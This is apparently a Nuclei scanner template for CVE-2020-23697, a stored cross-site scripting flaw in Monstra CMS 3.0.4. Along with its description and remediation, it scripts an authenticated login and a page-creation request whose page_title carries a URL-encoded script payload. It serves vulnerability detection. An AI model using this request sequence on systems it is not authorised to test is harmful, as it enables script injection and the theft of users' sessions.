id: CVE-2020-23697 info: name: Monstra CMS 3.0.4 - Cross-Site Scripting author: ritikchaddha severity: medium description: | Monstra CMS 3.0.4 contains a cross-site scripting vulnerability via the page feature in admin/index.php. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. remediation: | Upgrade to the latest version of Monstra CMS or apply the vendor-provided patch to fix the XSS vulnerability. reference: - https://github.com/monstra-cms/monstra/issues/463 - https://nvd.nist.gov/vuln/detail/CVE-2020-23697 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2020-23697 cwe-id: CWE-79 epss-score: 0.0009 epss-percentile: 0.37386 cpe: cpe:2.3:a:monstra:monstra_cms:3.0.4:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: monstra product: monstra_cms tags: cve,cve2020,xss,mostra,mostracms,cms,authenticated variables: string: "{{to_lower('{{randstr}}')}}" http: - raw: - | POST /admin/index.php?id=dashboard HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded login={{username}}&password={{password}}&login_submit=Log+In - | GET /admin/index.php?id=pages&action=add_page HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded - | POST /admin/index.php?id=pages&action=add_page HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded csrf={{csrf}}&page_title=%22%27%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&page_name={{string}}&page_meta_title=&page_keywords=&page_description=&pages=0&templates=index&status=published&access=public&editor=test&page_tags=&add_page_and_exit=Save+and+Exit&page_date=2023-01-09+18%3A22%3A15 - | GET /{{string}} HTTP/1.1 Host: {{Hostname}} cookie-reuse: true matchers: - type: dsl dsl: - 'contains(header_4, "text/html")' - 'status_code_4 == 200' - 'contains(body_4, ">") && contains(body_4, "Monstra")' condition: and extractors: - type: regex name: csrf group: 1 regex: - 'id="csrf" name="csrf" value="(.*)">' internal: true part: body